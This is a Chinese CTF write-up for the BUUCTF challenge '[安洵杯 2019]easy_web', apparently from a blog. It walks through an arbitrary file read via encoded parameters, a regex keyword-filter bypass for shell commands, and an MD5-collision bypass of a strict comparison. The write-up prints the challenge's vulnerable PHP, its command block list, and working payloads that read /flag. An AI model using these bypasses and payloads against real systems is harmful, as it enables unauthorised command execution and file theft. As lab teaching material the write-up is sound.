• buuctf_练[安洵杯 2019]easy_web


    [安洵杯 2019]easy_web


    在这里插入图片描述

    掌握知识

    url地址和源代码的信息捕捉;图片和base64之间转换;base64和十六进制编码的了解;代码审计,绕过正则匹配对关键字的过滤;MD5碰撞,md5参数强转类型的强等于绕过

    解题思路

    1. 打开题目地址,发现网页信息,狠狠地真实了WEB手。网页没看出什么内容,先查看源代码,发现了一个图片的html标签,里面是对其图片信息进行base64的结果

    image-20231027194617221

    image-20231027194707860

    1. 没发现特别的信息,看了一眼url地址发现直接给出了了两个参数,查看参数名能感觉到第一个是图片名第二个应该是要执行的命令。但是第一个参数很明显是进行编码的,看其很像是base64经过两次base64和一次十六进制解码得到了文件名为555.png

    image-20231027194939262

    image-20231027194944058

    1. 联想一下刚才图片标签中的base64信息,猜测修改文件名就可以进行文件读取的操作。尝试读取index.php文件,先进性16进制编码在进行两次base64进行传参,将标签内的base64编码进行解码,得到了index.php的源代码
    index.php
    696e6465782e706870
    Njk2ZTY0NjU3ODJlNzA2ODcw
    TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
    
    • 1
    • 2
    • 3
    • 4

    image-20231027195208334

    image-20231027195202961

    1. 得到了源代码就要开始代码审计了,先进性一下简单分析发现关键点在cmd参数,img参数传参再利用完文件读取就没有什么用处了。cmd的参数是系统命令,其中需要绕过挺多的正则的,但都是关键字匹配,可以使用参杂符号来进行绕过,关键的几个符号没有背过滤就好。在执行命令前还需要通过md5的强比较,这里进行了类型的强转,所以使用数组就不可以了,但是相关的paylaod网上还是随便搜索的
    
    error_reporting(E_ALL || ~ E_NOTICE);
    header('content-type:text/html;charset=utf-8');
    $cmd = $_GET['cmd'];
    if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
        header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
    $file = hex2bin(base64_decode(base64_decode($_GET['img'])));
    
    $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
    if (preg_match("/flag/i", $file)) {
        echo '';
        die("xixi嚚?no flag");
    } else {
        $txt = base64_encode(file_get_contents($file));
        echo "";
        echo "
    "
    ; } echo $cmd; echo "
    "
    ; if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo("forbid ~"); echo "
    "
    ; } else { if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo ("md5 is funny ~"); } } ?> <html> <style> body{ background:url(./bj.png) no-repeat center center; background-size:cover; background-attachment:fixed; background-color:#CCCCCC; } </style> <body> </body> </html>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    代码分析
    1. 对于改题目的正则匹配,ls被过滤了但是依旧可以使用参杂符号的形式来绕过,例如l''s l\s进行绕过,这里在shell解析器中都会被当作ls执行,但这里单引号被过滤了,就使用后者进行绕过,读取文件的命令有很多,这里可以使用掺杂符号进行绕过,还可以使用其他的命令进行查看文件内容。没有过滤空格和/还是不错的
    if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
        echo("forbid ~");
        echo "
    "
    ; }
    • 1
    • 2
    • 3
    • 4
    1. 很明显这是md5函数绕过的判断,不同以往的md5强比较的题目,这里对传入的值进行了了强转字符型的操作,这样就不能使用数组进行绕过了,需要去进行md5碰撞得到两个字符串不相同但是md5的结果相同的。当然这在网上已经烂大街了,搜索一下md5碰撞绕过也就能找到相应的paylaod。通过这波判断也就能执行传入的命令了
        if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
            echo `$cmd`;
        } else {
            echo ("md5 is funny ~");
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    正式解题
    1. 绕过的条件已经分析好了,直接使用分析得到了的paylaod进行抓包传参,发现目录下并没有flag,前去查看根目录发现flag文件。毕竟是GET传参还是bp抓包,所以空格还是替换成%20才能够被解析

    image-20231027200553218

    image-20231027200558938

    1. 这里就不使用参杂符号绕过了,使用sort进行读取文件得到flag

    image-20231027200715672

    关键paylaod

    index.php
    696e6465782e706870
    Njk2ZTY0NjU3ODJlNzA2ODcw
    TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
    
    cmd=l\s
    cmd=l\s%20/
    cmd=sort%20/flag
    
    a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
  • 相关阅读:
    使用Spring Boot整合定时任务(Schedule)
    Redis 安装与使用
    mysql中的数据类型
    【云原生】基于windows环境搭建Docker
    计算机等级考试—信息安全三级真题九
    基于MATLAB的曼彻斯特调制与解调实现
    【JavaEE基础学习打卡07】JDBC之应用分层设计浅尝!
    最新 | 诺奖得主涉嫌论文造假
    2023年中国数据存储市场现状及发展前景预测分析
    多线程详解(二)静态代理模式&Lambda表达式
  • 原文地址:https://blog.csdn.net/m0_66225311/article/details/134089865